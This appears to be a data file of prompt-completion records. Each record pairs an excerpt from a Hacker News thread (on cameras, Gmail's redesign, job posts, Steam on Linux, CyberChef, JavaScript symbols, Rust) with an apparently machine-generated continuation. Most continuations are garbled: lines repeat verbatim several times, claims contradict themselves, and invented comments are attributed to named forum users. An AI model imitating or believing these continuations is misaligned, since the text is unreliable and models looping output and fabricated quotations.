example:\n[http://i1.wp.com/www.stevehuffphoto.com/wp-\ncontent/uploads/2...](http://i1.wp.com/www.stevehuffphoto.com/wp-\ncontent/uploads/2012/11/L1000366.jpg) )\n\n~~~\nfoldr\nIt looks pretty ordinary to me, to be honest. Even entry level DSLRs produce\nvery sharp images these days.\n\n------\nkeltex\nThe alternative camera (and one for 1/4 the price) is the Fuji X100T. Many\npeople love this camera:\n\n[http://www.kenrockwell.com/fuji/x100t.htm](http://www.kenrockwell.com/fuji/x100t.htm)\n\n~~~\nmartijn_himself\nI posted exactly this comment and then I noticed yours. Are these camera's\nactually comparable or is it apples and oranges?\n\n~~~\nalistairSH\nYes and no.\n\nThey are comparable, in that they are both fairly compact, fixed prime lens\ncameras that offer high quality (camera build and image).\n\nThey are not comparable,as the Leica has a better/faster autofocus system. In\ntheory it has better optics as well, though I haven't seen a side-by-side.\n\nA good friend is a professional photographer. His carry-around fun camera is\nthe X100T. I think his professional-grade stuff is Nikon. I'm sure he'd love\nthe Leica, but it's"} +{"output_text": " not sure if I'll be able to make it work.\n\n~~~\nikea_meatballs\nI'm not sure if I'm understanding you correctly. You're trying to predict\nticker changes based on insider data?\n\n~~~\nkal00ma\nYes. I'm trying to predict the price change of a stock based on the\ninformation that the insider has about the company.\n\n------\njoshu\nI'm not sure I understand the point of this", "input_text": " an extent that the valid data points available (the past few\nyears of price variations) would not suffice to train even a very low-\ndimensional latent model.\n\n------\nikea_meatballs\nBack testing is a real bitch. I've been building my own app for back testing\nrecently, my specific interest being how published insider buys (SEC Form 4\ntransactions) affect the prices of stocks in the short near and long term. You\ncan get dividend data and stock splits easily enough from some public feeds.\nBut where do you get a database of ticker changes, bankruptcy events, and\nspin-offs, especially on the OTC markets? You can't unless you're willing to\nshell out a lot of money. Back testing properly is probably out of the cost\nrange of the individual investor.\n\nSome examples:\n\n* Lehhman's ticker changes on the way down\n\n* GM going bankrupt and then coming back from the dead!\n\n* Skye International used to trade under SKYY (at 0.35c/share), but now SKYY tracks a cloud SaaS ETF 20.60/share). Think you got a big win using that strategy that including buying SKYY? Think again!\n\n~~~\nkal00ma\nI've been working on a similar strategy after having read Nejat's book:\n[http://www.amazon.com/Investment-Intelligence-Insider-\nTradin...](http://www.amazon.com/Investment-Intelligence-Insider-Trading-\nSeyhun/dp/0262692341)\n\nThe plan is to derive trading signals from insider purchase data while taking\ninto account the insider's relative risk-aversion (estimated from age, salary,\nsex). At this point I'm"} +{"output_text": " can't just change the UI and expect users to adapt.\n\n~~~\njamesbritt\n\"You can't just change the UI and expect users to adapt.\"\n\nI think that's a bit of a straw man.\n\nI've been using Gmail for years, and I've never had to hover the mouse to\nfind the buttons.\n\nI've never had to click on a button to see the message headers.\n\nI've never had to click on", "input_text": " no room for web applications that could\nbe accessed from a good ol' desktop pc? How come is that?\n\n------\nel_presidente\nPeople love to whine about changes to websites. OTOH, nobody complains when\ntheir TV remote changes layout or when their living room rearranges itself\novernight.\n\nIt's a double standard.\n\n------\ntomrod\nWhat? Gmail redesigned? I use a desktop client, so I never really focus on the\nwebside.\n\n------\nmkramlich\nI also think the new design is a step backwards in usability. And yes I\nthought we all learned by now that symbolic icons are not as good as text\nlabels. That's pretty much the point of human languages like English -- they\nare symbols which have a meaning, and you arrange them in different ways to\nconvey different meanings. Given a choice between some arbitrary shape and the\ntext \"STOP\", guess which one will more clearly and unambiguously convey\n\"STOP\"?\n\n~~~\ngujk\nThe pencil icon, obviously. Or maybe the square with a rectangle on top.\n\n------\ngcb\neven though i think windows is wrong by not unpleasing users with design\nchanges for the better... and not agreeing that white space _may_ be ok to\nseparate the tag list and the message, there's no excuse to:\n\n1\\. the buttons without labels. your user WILL have to hover the mouse every\ntime he forgets one button.\n\n2\\. the fact that it moved from a huge clickable area to 17x17px button to see\nthe message headers (and that the header information was vastly reduced)\n\nmaybe some huge user testing proved those right... but my constant cursing\nsays that at least a 5% exist.\n\n \nYou"} +{"output_text": "\nworking in tech), I would love to learn more about your company.\n\nI am a recent graduate from the University of Michigan, and I am interested\nin working in the tech industry.\n\nI am also interested in learning more about your company.\n\nI am currently looking for a full-time position in the NYC area.\n\nI am also interested in working remotely.\n\nI am available for an interview.\n\nThank you!\n\n------\njosh", "input_text": "247940)\nSoftware Engineer: Data/Systems (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=248056](https://www.hioscar.com/about/jobs/?gh_jid=248056)\nSoftware Engineer: New Grad (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=261348](https://www.hioscar.com/about/jobs/?gh_jid=261348)\nSoftware Engineer: Internship Summer 2017 (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=268766](https://www.hioscar.com/about/jobs/?gh_jid=268766)\nSoftware Engineer: SWAT (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=261602](https://www.hioscar.com/about/jobs/?gh_jid=261602)\nSoftware Engineer: Product Infrastructure (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=240077](https://www.hioscar.com/about/jobs/?gh_jid=240077)\n\nOscar was valued at $2.7 billion following a $400 million investment by\nFidelity. Take a look at how we're simplifying healthcare:\n[http://incredibleinsurancemachine.com](http://incredibleinsurancemachine.com)\n\n~~~\ncharleshkang\nHi Erin!\n\nIf my background is not traditional(went from being a professional chef to"} +{"output_text": " initial launch.\n\n------\njrockway\nI'm not sure if this is a good thing or a bad thing.\n\nOn the one hand, it's good that Valve is supporting Linux. On the other hand,\nit's bad that they are supporting Linux.\n\nI'm not sure if this is a good thing or a bad thing.\n\nOn the one hand, it's good that Valve is supporting Linux. On the other hand,\nit's", "input_text": " tuned for plenty more coverage. Of the six years that Phoronix has been\naround providing many exclusive news stories and Linux hardware/software\ncoverage, Valve's move with the Steam Linux client / Source engine will likely\nprove to be the most significant event and opportunity that the Linux desktop\nhas been provided at least since the time of the initial Linux netbook push,\nif not since the entire time we've been around. Only time will tell though if\nLinux vendors and stakeholders will fully capitalize upon the opportunity that\nhas the potential of greatly expanding the Linux desktop user-base.\n\n~~~\nramy_d\npage takes for ever to load, here's the article\n\n~~~\nytilibitapmoc\nThank-you from those of us behind brain-dead filtering proxies... :-)\n\n~~~\noomkiller\nWould you rather the proxy be sentient like GLaDOS? ;)\n\n~~~\njrockway\nAs long as the morality core doesn't fall off.\n\n------\nkrschultz\nSo now Linux users: BUY BUY BUY.\n\nI'll be sure to buy a few things from it once it is available even if I'm not\nlikely to play many games.\n\nPassively supporting this isn't very helpful, vote with your wallet. The more\nmoney they make the better it is for Linux in the future.\n\n~~~\njws\nInside the Steam program:\n\n \n \n Failed to load web page (unknown error).-324\n Failed to load web page (unknown error).\n \n\nThen after much reloading a simply black screen. It seems they did not plan to\nservice the spike.\n\n~~~\nTeHCrAzY\nUnlikey, the load from this is being produced during the"} +{"output_text": "to spend time with. I also have a wife that is a stay at home mom.\n\nI ended up taking a job offer in the Bay Area that was closer to home and\nwould allow me to spend more time with my family.\n\nI'm not saying that you should take the job in Palo Alto, but I would\ncertainly consider it if you were in a similar situation.\n\n------\njoshu\nI'm in the same boat. I have a", "input_text": " your question, because I'm asking similar questions! The\nhousing market seems prohibitive for a family to move to the area, especially\nfor someone who wants to keep their family as their main priority.\n\nHave you looked south, to Morgan Hill or Gilroy? That's a longer commute, but\nit seems like you can get more for your money. And many companies offer\nshuttles so you can at least avoid some of the traffic pain.\n\nI've also read that the housing market is very competitive, and there are many\noffers on houses. So if you look for real estate and find things you might\nlike, that doesn't mean you'll get it. You may end up settling for what's left\nover after the cash buyers with offers 10% over asking price have cleaned up\nthe good stuff.\n\nIf I were single or even young and married with no kids, I'd make the move in\na heartbeat just for the sense of adventure and to see what happened. With\nkids and a family (especially kids in middle school), it's not so easy. It's\nimportant to settle somewhere good on the first try and not risk moving around\na lot. It seems very daunting to find a place to live, with good schools, a\nsafe and nice neighborhood, with a commute that is doable, and a house that\nisn't a million dollars.\n\nI guess you can't have it all.\n\n------\nhkarthik\nI was in almost the exact situation as you about a year ago.\n\nI had an offer in hand from a well known company in Palo Alto to join one of\ntheir innovation labs. From a career standpoint, it would have been a game\nchanger.\n\nHowever, like yourself, I have a young family with small children that I like\n"} +{"output_text": " trusting it.\n\n------\njedberg\nI'm not sure if this is a good idea, but I'm going to try it out. I'm\ncurrently working on a project that will let you create recipes for your\ncustom hardware.\n\nI'm going to try to make it so that you can use the same recipe to create\nmultiple different hardware configurations.\n\n~~~\njedberg\nI'm not sure if this is a good idea, but I'm going", "input_text": "\nThis looks kind of neat (and not too dissimilar to my own software -- see\nbio), though I can't seem to make it work (or \"Bake\"?).\n\nIt also reminds me of OpenRefine, another very cool online data processing\ntool with a slightly different focus.\n\n~~~\nkim031\nYou need to drag specific operation(s) from Operations and drop them into\nRecipe. And then supply input(s) in Input tab. You can also check the Auto\nBake icon in the bottom.\n\n~~~\nken\nAh, that's it! I discovered that I could add operations by double-clicking\nthem, but I was so intent on trying to find a \"type some raw input\" operation\nthat I completely missed the \"Input tab\".\n\n------\njdrosenthal\nSome great operations in there. Especially [Other > XKCD Random Number]\n\n[https://gchq.github.io/CyberChef/#recipe=XKCD_Random_Number(...](https://gchq.github.io/CyberChef/#recipe=XKCD_Random_Number\\(\\)&input=SW5wdXQ)\n\"RFC 1149.5 specifies 4 as the standard IEEE-vetted random number.\"\n\n~~~\nflixic\nThere\u2019s also Numberwang function.\n\n------\nanewguy9000\nnice!\n\nso is any of the input feeding back to GCHQ?\n\n~~~\nrtempaccount1\nshouldn't be it's purely client-side. And of course, if you don't trust them,\njust stick a proxy in-line and watch for traffic.\n\n~~~\nFnoord\nIf you don't trust it you can use it in a VM without"} +{"output_text": "printers are in there).\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty", "input_text": " \n apk add --update build-base\n \n\nEDIT: Make is not being installed by default. But I would like to manually\ninstall GCC as needed (for a truly minimal image).\n\nEDIT2: I stand corrected. Looks like GCC isn't installed by default (which is\nexactly what we want for minimal images). Awesome.\n\n~~~\nroller\nThe gcc-7-base package (assuming that's what you're looking at) looks like\nit's just an empty directory to put various gcc things and some basic docs.\n\n[https://packages.debian.org/sid/gcc-7-base](https://packages.debian.org/sid/gcc-7-base)\n\n[https://packages.debian.org/sid/amd64/gcc-7-base/filelist](https://packages.debian.org/sid/amd64/gcc-7-base/filelist)\n\n~~~\nverst\nThanks! I was looking at [1] and wasn't sure if those were binaries.\n\nThat's perfect then. Install GCC, compilers, build headers etc via `sudo apt-\nget install build-essential` when necessary. So this should be the same\ngeneral approach as on Alpine.\n\n[1]:\n[https://pastebin.ubuntu.com/26506363/](https://pastebin.ubuntu.com/26506363/)\n\n~~~\ngeofft\nlibgcc_s.so.1 is a collection of utility routines used by all sorts of\nprograms. The entry named \"gcc\" is a directory (that contains only empty\ndirectories?). /usr/share/gcc-7/python/libstdcxx/ is from the libstdc++6\npackage (looks like gdb pretty-"} +{"output_text": " it. I was lucky that I didn't\nkill her.\n\n~~~\nChuckNorris89\nI'm sorry to hear that.\n\nI'm not sure if you're in the US or not but in the US you're not allowed to\ndrive if you're under the influence of alcohol or drugs.\n\n~~~\nsystemtest\nI'm in Germany.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n", "input_text": " the car was elderly. It\u2019s tough to gauge her age \u2014 pushing\nlate 70s, maybe 80? She said she didn\u2019t notice the girl in the crosswalk.\n\nI was upset. I stayed the entire time, talked with the cops at length, gave a\nstatement. I wanted to see the lady\u2019s license taken away. Or a ticket at\nleast. Or heck, even a talking to about if maybe she\u2019s no longer fit to drive.\n\nThe cops let the old lady drive away. No ticket. No talk. I was stunned.\nSurely if you hit someone with your car at that speed, in fucking crosswalk,\nyou at the very least need to prove to the DMV that you\u2019re safe to drive.\nEspecially if you\u2019re an elderly person. But nope. They said they had no\ngrounds with which to take any action at all.\n\nStill bothers me. I hope that lady hasn\u2019t killed anyone.\n\n~~~\nChuckNorris89\nWait, what!?\n\nIn Europe if you strike a pedestrian on the crosswalk you'll definitely loose\nyour license and be looking at manslaughter charges too while your insurance\ncompany will murder you after paying the victim's medical/disability/court\nbills.\n\n~~~\nsystemtest\nI have hit a pedestrian. Instead of using the nearby crosswalk she walked in\nbetween the cars and when she walked in front of me it was too late for me to\nbrake. She flew a couple of meters and landed on the crosswalk. In the police\nreport is was stated that I hit the person on the crosswalk as I couldn't\nprove otherwise. The woman was taken away in an ambulance due to a broken leg.\n\nI was 16 at the time. Really shaken up about"} +{"output_text": " of women doing amazing things in tech\nright now.\n\n~~~\njameshart\nI think the teacher was being a bit disingenuous. The point is that the\ninfluence of these women is not going to be felt for a long time, if ever.\n\n~~~\npducks32\nI think you're right. I think the teacher was trying to say that the\ninfluence of these women is not going to be felt for a long time, if ever", "input_text": "master's death by getting fed there) but that picture of the station staff all\nmourning the dying dog really got me!\n\n \n\u201cWomen invented computer science. WWhy are they behind?\u201d - aaditya001\nhttps://www.theatlantic.com/video/index/519426/how-did-tech-become-so-male-dominated/?single_page=true\n======\nOxitendwe\n>Women invented computer science.\n\nPlease stop pinkwashing history. Women did not invent computer science. Also,\nthe gender gap only needs to be \"fixed\" if it is true that women have an equal\ninterest and potential in computer science, this has not been proven. The push\nfor more women in positions of power in tech (who will thus displace men, and\nknow to whom/what political faction they attribute their success) is a power\ngrab by the American left to seize control of a power and influential industry\nthey can use a tool to advance their interests. This is why there no real push\nfor gender equality in female-majority fields, or non-lucrative/influential\nmale-majority fields, e.g. offshore oil rigging or construction.\n\n------\npducks32\nI once had someone ask in a class of mine why CS is considered such a male\nsubject when all these women seem so influential (Ada Lovelace, Grace Hopper,\nand many more) and the teacher responded: I wouldn't be concerned what other\npeople think now, I'd be more concerned with what you can do today. These\nwomen did incredible things when no one was paying attention. And I've always\nthought that was a great point. I have no doubt based on the stats that tech\nis male dominated but there are a ton"} +{"output_text": "ness to learn new technologies\nand tools\n\nWhat we're looking for\n\nYou are a self-starter who can work independently and as part of a team. You\nare a strong communicator who can clearly articulate your ideas and\nunderstandings. You are a team player who can work well with others. You are\na problem solver who can identify and solve complex problems. You are a\nlearner who can learn new technologies and tools quickly. You are a\ncollaborator", "input_text": " Forerunner Ventures.\n\nWe offer competitive salaries, meaningful equity and generous health, dental\nand vision benefits. If you are a member of an underrepresented group in\ntechnology, we strongly encourage you to apply.\n\nTechnologies: Python, Postgres, WebSockets, React, Redux, ML, etc.\n\nDrop us a note at hi@menschlabs.com with a link to your LinkedIn, a resume, or\nanything else we should know. We\u2019ll get back to you quickly!\n\n\\--\n\np.s. I love working here. The team is smart and talented but also deeply good,\nrespectful, and empathetic.\n\n------\ndekobon\nJoyent | San Francisco or Seattle (Remote Possible)\n\nSenior Solutions Engineer\n\nQualifications\n\n6+ years experience developing software and experience working in more than\none language, one of which is Java (Node.js and Golang experience a plus)\nExperience in deploying and maintaining applications and systems with one or\nmore infrastructure automation and configuration management tools (e.g.: Chef,\nPuppet, Terraform, Packer, Ansible) Awareness of Docker and trends in modern\napplications and operations, including schedulers or orchestrators (e.g.,\nKubernetes, Mesos, Nomad, etc.) Experience deploying and managing both noSQL\ndatabases (e.g., Cassandra) and SQL databases (e.g., MySQL) in production\nExperience designing the architecture of a multi-service application and have\nhelped maintain it in an enterprise setting Experience with AWS core IaaS\nservices (EC2, S3, DynamoDB, VPC) Familiarity with Triton and Manta products\nContributed to an open source project Willing"} +{"output_text": " the Americans.\n\nThe British are not \"elite\" in the same way as the Americans. The British are\nnot \"elite\" in the same way as the French. The British are not \"elite\" in the\nsame way as the Germans. The British are not \"elite\" in the same way as the\nChinese. The British are not \"elite\" in the same way as the Japanese. The\nBritish are not \"elite\" in the same", "input_text": "B0148NNKTC/ref=oh_aui_detailpage_o06_s00?ie=UTF8&psc=1)\n\n \n\nSpeaking of the British - surfingdino\nhttp://c.moreover.com/click/here.pl?z4596068789&z=1250248780\n\n======\nErrantX\nThis is hilarious :) I honestly thought it was a joke... but now I am\nuncertain.. he seems to _genuinely_ think that Britain is like this :S\n\nThe best bit is the wonderful caricature of Oxbridge interviews, as if the\nmodern world is left behind once you step foot in those hallowed halls :D One\nguy at our school that went to Oxford worked like absolute hell to get his\ngrades, pass his entrance exam and pass the exhausting round of interviews (2\ndays, testing all sorts of aptitidue).\n\nSure; the colleges have a tradition of \"sprawling on sofa's\" while enjoying a\nglass of the good stuff. But it is just tradition!\n\n _Aged 18, perhaps hungover, you read out your pitiful but elegant essay. The\ntutor points out gaps in your knowledge. For an hour, you talk your way around\nthose gaps._\n\nHahahahahahahahaha. Ahem. All of the friends I have that went to a really top\nflight university (Oxford, Cambridge, Durham, etc) were basically working flat\nout for their exams from about January every year..\n\n(I was the drunkard.. see \"winging it\" below)\n\n _Traditionally, elite Britons then leave education aged 21. Until recently\nthey rarely bothered with graduate school._\n\nMeh, classic nonsense confusion regarding the British and"} +{"output_text": "\nplaying with the blocks, but now he's building things with them.\n\n------\nmorganvachon\nI'm not sure what the point of this is. It's a list of projects that are\ncurrently in development, not a list of projects that are currently in\ndevelopment that are kid-friendly.\n\n~~~\nollieparanoid\nI think the point is that the projects are kid-friendly.\n\n------\nmorganvachon\nI", "input_text": " it kinda-sorta works, on some hardware. I really wish they\nwere targeting Debian instead of something as prone-to-broken as Alpine, but\nbeggars can't be choosers.\n\n~~~\nollieparanoid\n> something as prone-to-broken as Alpine\n\nHow do you come to that conclusion? Sure, Alpine's edge repository has\nbreakage, but so does Debian sid.\n\n~~~\nmorganvachon\nAlpine doesn't make for a stable desktop OS, however it was never meant to be\nused on the desktop. I wonder if OP was referring to that.\n\n \nProject Bloks: Making code physical for kids - runesoerensen\nhttps://research.googleblog.com/2016/06/project-bloks-making-code-physical-for.html\n======\nedtechdev\nThere are some more kid-friendly programmable robots/hardware and coding tools\nlisted here:\n[https://docs.google.com/document/d/1r1b2CM1uTdST47IbWa7zlZYm...](https://docs.google.com/document/d/1r1b2CM1uTdST47IbWa7zlZYmbfoqrgYSeym2inUvnFo/edit?usp=sharing)\n\nProject Bloks isn't out yet, but a similar one is littlebits. The ones I've\nused with elementary school aged kids though include Sphero, Edison, and Lego\nWedo, along with software/sites like code.org, Lightbot, and Hopscotch.\n\n~~~\nhamstersoup\nMy 4-year-old is really into The Foos app. In the beginning he was just"} +{"output_text": "-the-\n> keystrokes-from-1986 routine.\n\nI'm not sure if this is satire or not.\n\n~~~\njussij\nI'm not sure if this is satire or not.\n\n------\njussij\nI'm not sure if this is satire or not.\n\n------\njussij\nI'm not sure if this is satire or not.\n\n------\njussij\nI'm not sure", "input_text": " the scandalous lies about your favorite\neditor note that this is a Verity Stob column. If you're reading it for a\nsober, fair-minded review of the various tradeoffs involved in the very\nserious business of text editing, you're doing it wrong.\n\n~~~\nmichael_h\nI'm not sure how someone can read past\n\n \n \n ...press Ctrl + Shift + L (if you are following along on your Mac, just press squiggle squoggle shift Home)\n \n\nand not pick up that this is _satire_, or perhaps just plain humo(u)r.\n\n~~~\nyen223\nIt's so obviously satire - I mean, which Mac has a Home button amirite?\n\n~~~\nSamuel_Michon\nMy Apple keyboard has a 'Home' key...\n\n[http://km.support.apple.com/library/APPLE/APPLECARE_ALLGEOS/...](http://km.support.apple.com/library/APPLE/APPLECARE_ALLGEOS/HT1216/Pasted%20Graphic.png)\n\n(And of course, all iOS devices have a 'Home' button.)\n\n------\nkaoD\nThe article could've been titled \"I hate emacs for no particular reason\". It's\nprobable more accurate.\n\n------\njussij\n> It turns out that my brain was only fitted with 72 bytes of \"finger memory\";\n> furthermore it turns out to be EPROM, not Flash. I need to wipe out all the\n> WordStar keystrokes from 1986 (Ctrl+Y to delete a line, anyone?) before I\n> can add any more, and I have lost the ultra-violet wiping-out"} +{"output_text": "\n\n~~~\njordanwallwork\nI think it's a good idea. I think it's a good idea to have a way to declare\nsymbols that is more like Ruby's symbols.\n\n------\njordanwallwork\nI'm not sure if this is a good idea. I think it's a good idea to have a way to\ndeclare symbols that is more like Ruby's symbols.\n\n~~~\njordanwallwork\nI think it's a good idea", "input_text": "\nIshKebab\nI wish javascript had some kind of flag so you could get it to act sanely. All\nthe comparison operators would work like they do in sane languages; type\nconversion wouldn't be _quite_ so automatic and insane, etc.\n\n~~~\njordanwallwork\nIf you just make sure to always use === then this is exactly what happens. You\ncan use tools like jslint to warn you if you accidentally use ==\n\n~~~\nmkolosick\nNot quite though. I had a bug with Javascript where I was reading in a number\nand forgot to parse it to a float. I ended up doing an addition with that\nvalue, which later got used as a float again. So I had 1 + \"10\" turn to 110\nwhen I tried to use it. No == or === anywhere.\n\n~~~\njordanwallwork\nI was only really referring to automatic type conversion for comparisons. That\nsaid, the example you gave sounds like the opposite, where you wanted it to do\nsome auto-conversion and you're disappointed that it didn't? If I did 1 + \"10\"\nI don't think I'd want it to return 11!\n\n~~~\nafandian\nI'd want it to throw some kind of cast exception, personally, not try and do\nwhat it thinks I want. (I'm not the GP)\n\n------\nnabla9\nThis is very limited symbol type. They might have named them keywords instead.\nIt's just interned string with a new type.\n\n(It's like Common Lisp symbols limited inside the keyword package)\n\n------\nwelfare\nI'm not entirely convinced with the function-call syntax for declaring a\nSymbol.\n\nWhy not using something more of the lines with Ruby's :symbol syntax?"} +{"output_text": ".\n\n~~~\nApocryphon\nI don't think that's what management is for. Management is for making\ndecisions that are not directly related to the work that the employee is\ndoing.\n\n~~~\nApocryphon\nI think the point is that the employee should be able to make decisions that\nare not directly related to the work that the employee is doing.\n\n------\nApocryphon\nI'm not sure if this is a good thing", "input_text": " life easy? Have you walked a mile in their shoes?\n\n> and lack of transparency and inclusion in decision-making around\n> controversial contracts with the U.S. Department of Defense and Immigration\n> and Customs Enforcement (ICE).\n\nThat is not the kind of decision I think employees should be deciding. Though\nif a larger organization wanted to allow someone to move somewhere else in the\norg, that seems fair\n\n~~~\nApocryphon\n> Already unlawful. They are addressable to the NLRB and civil legal system.\n\n> That's vague, but there are protections against this\n\n> Wouldn't it be about defining a standard of what a salaried employee is?\n\nUnions can be an additional safety net/layer of protection/tool against these\ndiscriminations and abuses. In a time when HR departments are often derided as\nexisting to protect the company instead of workers, and it often takes either\nmedia exposure or self-publishing (as with Susan Fowler) for discrimination\nagainst protected classes to be acknowledged, a union could be a place for the\ndiscriminated to turn to where HR reps fail. At least then you don't have to\nhire your own lawyer.\n\n> unequal pay,\n\nThis might be a gender gap criticism meaning unequal pay between workers with\nthe same title but of different genders.\n\n> That is not the kind of decision I think employees should be deciding.\n\nWhy? The stigma of culture war and political battles aside, why shouldn't\nemployees take part in making business decisions in general?\n\n~~~\nColonelSanders\n> Why? The stigma of culture war and political battles aside, why shouldn't\n> employees take part in making business decisions in general?\n\nBasically, no.\n\nThat's what's management is for"} +{"output_text": "/580826)\n\n\\+ Product Manager:\n[http://boards.greenhouse.io/hologram/jobs/580825](http://boards.greenhouse.io/hologram/jobs/580825)\n\n\\+ Product Designer:\n[http://boards.greenhouse.io/hologram/jobs/580824](http://boards.greenhouse.io/hologram/jobs/580824)\n\n", "input_text": "http://boards.greenhouse.io/hologram)\n\nOur mission is to build _the_ platform for creating connected products by\ntackling some of the hardest challenges at the intersections of hardware,\nconnectivity, and software.\n\nAt Hologram, we believe in you and your immediate squad members to know what's\nbest for our platform and enable you to make immediate customer-impacting\ndecisions. You can see this in how we develop products and processes: Hologram\npushes decision-making out to the edges of the organization to reduce\nmanagement overhead and increase speed to market.\n\nWe have a number of open positions and would love to hear from you!\n\n\\+ Embedded Systems Engineer:\n[http://boards.greenhouse.io/hologram/jobs/561434](http://boards.greenhouse.io/hologram/jobs/561434)\n__*Remote Available\n\n\\+ Full Stack Cloud Engineer:\n[http://boards.greenhouse.io/hologram/jobs/562395](http://boards.greenhouse.io/hologram/jobs/562395)\n\n\\+ Full Stack Engineer:\n[http://boards.greenhouse.io/hologram/jobs/562369](http://boards.greenhouse.io/hologram/jobs/562369)\n\n\\+ Customer Success Engineer:\n[http://boards.greenhouse.io/hologram/jobs/541597](http://boards.greenhouse.io/hologram/jobs/541597)\n\n\\+ Product Designer:\n[http://boards.greenhouse.io/hologram/jobs/580826](http://boards.greenhouse.io/hologram/jobs"} +{"output_text": " a pretty common use\ncase.\n\n------\njoshstrange\nI've been using Flask for a few years now and it's been great. I've used\nDjango for a few years as well and it's been great as well. I've also used\nRails for a few years and it's been great. I've also used PHP for a few years\nand it's been great. I've also used Node.js for a few years and it's", "input_text": "~~~\nAdamJacobMuller\nThe first programming work I ever did was with CGI, about 25 years ago,\nwriting bash scripts to control playing MP3s using webmin's HTTP server (I\nthink Apache was too complex for me to figure out how to setup at the time).\n\nI'd be lying if I said I was't a bit sad that we've gone so far that CGI isn't\neven in the thought process for this problem.\n\n------\ncaptn3m0\ncool hack, but remember to turn this off at untrusted networks.\n\n~~~\nblack3r\nor just add a https proxy before it before it..., even better, use a https\ntunnel service like ngrok to allow automating stuff from anywhere not only\nfrom your local LAN.\n\n \nAsk HN: How popular is Python for web applications? - 3dfan\nPython has seen crazy growth over the last 5 years:

https://trends.google.com/trends/explore?date=all&q=php,javascript,python,ruby

Is that because everyone and their dog are now writing AI software, or is it also widely used for other areas?

In particular, I would be interested how popular it is to write web applications in Python these days.\n======\njamil7\nDjango is used widely for CRUD apps or any area you'd typically use Rails.\nFlask is also a popular option among developers and theres been a few new\ngeneration python microframeworks focused around ASGI popup in the last few\nyears. I haven't used it for years but my girlfriend uses it heavily for\nscientific computing and data science which is I'd say"} +{"output_text": "Rails, Golang, Docker, Postgres,\nRedis) and Customer Success Engineers (Rails, Golang, Docker, Postgres, Redis)\n\nWe're a small team (~30) and we're looking for people who are excited to\ncontribute to a fast-growing startup. We're a remote-first company and we\nencourage people to work from wherever they want.\n\nIf you're interested, please email me at jim@codes", "input_text": " well as orchestration and automation via Packer, Consul, Terraform\nand Ansible. chaag)at(agari[dot|com\n\n------\ndispatchai\nDispatch | [http://dispatch.ai/](http://dispatch.ai/) | San Francisco Bay\nArea, CA | Full-time, onsite\n\nWe are Dispatch (dispatch.ai), a well-funded startup that is creating a\nplatform for local delivery powered by a fleet of autonomous vehicles designed\nfor sidewalks and pedestrian spaces.\n\nWe're bringing together a team with deep domain expertise in robotics,\nautonomous vehicles, and artificial intelligence. If you're interested in\njoining us for work on this exciting technology and help create the future of\nautonomous vehicles, we'd love to hear from you.\n\nRoles we are hiring for include:\n\nSoftware Engineer - Motion Planning and Controls\n\nSoftware Engineer - Perception\n\nSoftware Engineer - Mapping and Localization\n\nSoftware - Generalist\n\nHardware - Electrical\n\nHardware - Embedded/Firmware\n\nContact us at jobs-hackernews@dispatch.ai!\n\nOr apply through our listing on AngelList\n([https://angel.co/dispatch-6/](https://angel.co/dispatch-6/)).\n\n------\njimschley\nCodeship | Boston | Full-time | REMOTE | Software Engineering and Customer\nSuccess\n\nCodeship is a hosted continuous integration and delivery service. Our mission\nis to accelerate software development teams. Our stack is a\nRails/Postgres/Redis webapp and a Golang microservice and Docker-based elastic\nbuild infrastructure. [https://codeship.com](https://codeship.com)\n\nCodeship is hiring Software Engineers ("} +{"output_text": "jarsin\nI'm not saying that Google is the only place hiring coders. I'm saying that\nGoogle is the only place that asks you to write a self-balancing binary\nsearch tree off the cuff.\n\n~~~\nhirundo\nI'm not saying that Google is the only place hiring coders. I'm saying that\nGoogle is the only place that asks you to write a self-balancing binary\nsearch tree off the cuff.\n\n------\nj", "input_text": " looking for rockstars, just someone with some familiarity with.NET\nMVC.\n\nEdit: We're in the UK, FWIW.\n\n~~~\nbvm\nI feel your pain. Trying to hire perm in London at the moment is a real\nchallenge, even with a recruiter. Contractor rates are obscene (5-8x perm).\nRecruiting and retaining is what keeps me awake at night over and above any\ntech issues that I'm working on.\n\n~~~\nuser5994461\nHow little are you paying your dev that it can be 1/8th of a contractor?\n\nEven the cheapest dev I have ever met in London wasn't as low as 1/5th of the\nmost expensive contractor I have met.\n\n~~~\nbvm\nAh yeh, sorry, my mental maths strayed a bit into hyperbole there, it's more\nlike 4-5x\n\n~~~\nuser5994461\nHow much are you trying to pay your dev that it can be 1/5th of a contractor?\nIt's no wonder you're having trouble finding anyone.\n\n------\njarsin\nI think tons of experienced people that love programming moved on because of\nthe \"Google Interview\".\n\nYou got all this experience and love making stuff for users, but you don't\nknow the \"insert trick of the week\" to solve the latest \"elite\" programming\nquestion. Bye Bye. No more jobs for you.\n\n~~~\nhirundo\nTurns out that Google isn't the only outfit hiring coders. I could never have\npassed their interview but I've had a long career making a good living working\nfor companies that never asked me to write a self-balancing binary search tree\noff the cuff.\n\n~~~\n"} +{"output_text": " attention to the release notes,\nyou can get a pretty good idea of what's going on.\n\n------\nkibwen\nThe Rust team is also working on a new version of the compiler, which will\nallow us to compile Rust code to WebAssembly. This will allow us to run Rust\ncode in the browser, which is a huge step towards making Rust a viable\nlanguage for web development.\n\n~~~\nsteveklabnik\nI'm not sure if this", "input_text": " software to configure, not two or\nthree).\n\n------\nportmanteaufu\nCongrats on all the progress, guys! I'm really looking forward to getting to\nwork with Rust. I have a couple of questions:\n\nIs the new fixed-stack FFI arrangement the end goal, or is it a stepping stone\nto a different system? It seems as though always using a big, fixed stack\nwould cause performance/memory issues. Could the compiler detect which Rust\nfn's call extern \"C\" functions so I don't have to write annotations? Thanks!\n\n~~~\nkibwen\nFixed-stack is not the end goal. The intent is to migrate back towards small,\ngrowable stacks.\n\nThere were long discussions over how \"smart\" the extern stack-size strategy\nshould be. The current arrangement is, as ever, a compromise. In practice,\nmost people writing bindings to C from Rust will wrap the C call into a very\nthin wrapper function whose job is to handle type conversions and managing the\nnecessary `unsafe` bits. The hope is that putting the annotation on these\nwrapper functions won't be very 